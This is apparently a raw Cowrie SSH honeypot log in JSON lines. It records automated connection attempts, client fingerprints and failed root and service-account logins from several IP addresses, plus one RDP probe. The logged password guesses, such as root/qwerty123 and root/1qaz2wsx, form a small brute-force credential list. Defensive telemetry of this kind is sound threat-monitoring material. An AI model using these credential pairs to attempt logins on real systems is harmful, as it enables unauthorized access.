{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:43.644640Z","src_ip":"172.93.103.2","session":"130893900b57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60080,"dst_ip":"159.203.135.109","dst_port":22,"session":"7995a283b9bc","protocol":"ssh","message":"New connection: 83.168.110.85:60080 (159.203.135.109:22) [session: 7995a283b9bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:44.778073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:44.783259Z","src_ip":"83.168.110.85","session":"7995a283b9bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:44.904393Z","src_ip":"83.168.110.85","session":"7995a283b9bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:45.268303Z","src_ip":"83.168.110.85","session":"7995a283b9bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:46.442229Z","src_ip":"83.168.110.85","session":"7995a283b9bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Summer123","message":"login attempt [root/Summer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:50.190376Z","src_ip":"119.96.159.237","session":"474c838af94a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:50.199519Z","src_ip":"119.96.159.237","session":"474c838af94a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45528,"dst_ip":"159.203.135.109","dst_port":22,"session":"6490e53b2974","protocol":"ssh","message":"New connection: 83.168.110.85:45528 (159.203.135.109:22) [session: 6490e53b2974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:54.984033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:55.031523Z","src_ip":"83.168.110.85","session":"6490e53b2974","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:55.106524Z","src_ip":"83.168.110.85","session":"6490e53b2974","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:55.580257Z","src_ip":"83.168.110.85","session":"6490e53b2974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:56.854451Z","src_ip":"83.168.110.85","session":"6490e53b2974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":52510,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5e25c2bf7ba","protocol":"ssh","message":"New connection: 193.32.162.151:52510 (159.203.135.109:22) [session: b5e25c2bf7ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:01.947216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:01.981337Z","src_ip":"193.32.162.151","session":"b5e25c2bf7ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:02.107540Z","src_ip":"193.32.162.151","session":"b5e25c2bf7ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"loginuser","password":"sophosfw","message":"login attempt [loginuser/sophosfw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:02.431465Z","src_ip":"193.32.162.151","session":"b5e25c2bf7ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:03.566583Z","src_ip":"193.32.162.151","session":"b5e25c2bf7ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":35264,"dst_ip":"159.203.135.109","dst_port":22,"session":"a740c154d770","protocol":"ssh","message":"New connection: 83.168.110.85:35264 (159.203.135.109:22) [session: a740c154d770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:05.044297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:05.088941Z","src_ip":"83.168.110.85","session":"a740c154d770","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:05.268416Z","src_ip":"83.168.110.85","session":"a740c154d770","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:05.668821Z","src_ip":"83.168.110.85","session":"a740c154d770","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:06.795555Z","src_ip":"83.168.110.85","session":"a740c154d770","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":58304,"dst_ip":"10.17.0.5","dst_port":22,"session":"22383bd95df9","protocol":"ssh","message":"New connection: 103.75.182.198:58304 (10.17.0.5:22) [session: 22383bd95df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:13.550628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:13.555688Z","src_ip":"103.75.182.198","session":"22383bd95df9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:13.810582Z","src_ip":"103.75.182.198","session":"22383bd95df9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a13071993","message":"login attempt [root/a13071993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:14.564820Z","src_ip":"103.75.182.198","session":"22383bd95df9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43750,"dst_ip":"159.203.135.109","dst_port":22,"session":"3628a1f82d6a","protocol":"ssh","message":"New connection: 83.168.110.85:43750 (159.203.135.109:22) [session: 3628a1f82d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:15.433261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:15.465841Z","src_ip":"83.168.110.85","session":"3628a1f82d6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:15.673674Z","src_ip":"83.168.110.85","session":"3628a1f82d6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:15.820728Z","src_ip":"103.75.182.198","session":"22383bd95df9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:16.201910Z","src_ip":"83.168.110.85","session":"3628a1f82d6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:17.325218Z","src_ip":"83.168.110.85","session":"3628a1f82d6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":49381,"dst_ip":"10.17.0.5","dst_port":22,"session":"059fb8f190d6","protocol":"ssh","message":"New connection: 167.172.81.52:49381 (10.17.0.5:22) [session: 059fb8f190d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:18.246129Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:18.251303Z","src_ip":"167.172.81.52","session":"059fb8f190d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:18.254928Z","src_ip":"167.172.81.52","session":"059fb8f190d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43428,"dst_ip":"159.203.135.109","dst_port":22,"session":"10d570abef5e","protocol":"ssh","message":"New connection: 83.168.110.85:43428 (159.203.135.109:22) [session: 10d570abef5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:25.877938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:26.089832Z","src_ip":"83.168.110.85","session":"10d570abef5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:26.093189Z","src_ip":"83.168.110.85","session":"10d570abef5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:26.637034Z","src_ip":"83.168.110.85","session":"10d570abef5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:27.760621Z","src_ip":"83.168.110.85","session":"10d570abef5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":58394,"dst_ip":"10.17.0.5","dst_port":22,"session":"46a73c435ea9","protocol":"ssh","message":"New connection: 51.250.105.222:58394 (10.17.0.5:22) [session: 46a73c435ea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:29.847226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:29.852062Z","src_ip":"51.250.105.222","session":"46a73c435ea9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:29.982372Z","src_ip":"51.250.105.222","session":"46a73c435ea9","protocol":"ssh"}
